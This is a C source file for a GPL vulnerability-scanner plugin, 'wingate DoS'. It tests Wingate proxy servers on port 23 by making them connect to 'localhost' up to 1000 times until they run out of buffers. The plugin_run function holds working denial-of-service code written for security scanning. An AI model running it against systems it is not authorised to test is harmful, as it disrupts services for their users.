/*
 * 
 * wingate2
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h> 


#define NAME "wingate DoS"
#define DESC "Unsecured Wingates happily connect to themselves.\n\
When they run out of buffers, they prevent anyone from using\n\
them\n\
Platform affected : Windows\n\
Risk factor : Medium"

#define COPYRIGHT "found by Matt Carothers"
#define SUMM "performs a denial of service against a wingate server"


PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_DENIAL);
	plug_set_family(desc, "Denial of Service");
	return(0);
}



PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
	int soc;
	char * buf;
	if(host_get_port_state(args, 23))
	{
	int i = 0;
	int j = 0;
        soc = open_sock_tcp(args, 23);
        if(soc<0)return(0);
	buf = emalloc(1024);
	recv(soc, buf, 1024,0);
	if(strstr(buf, "Wingate>"))
        while(!i&&j<1000)
        {
         char * localhost = "localhost\n";
         send(soc, localhost, strlen(localhost),0);
         recv_line(soc, buf, 1024);
         if(strstr(buf, "Out of buffers"))i=1;
         else if(!strstr(buf, "Connected")){
         	shutdown(soc, 2);
                close(soc);
                return(0);
                }
         bzero(buf, 1024);
         recv(soc, buf, 1024,0);
        }
	if(i)post_hole(args,23,
"It was possible to perform a Denial of Service against the\n\
remote wingate server by making it to connect to 'localhost' several\n\
times\n\
Solution : upgrade (and secure it !)");

	efree(&buf);
        shutdown(soc, 2);
	socket_close(soc);
	}
	return(0);
}

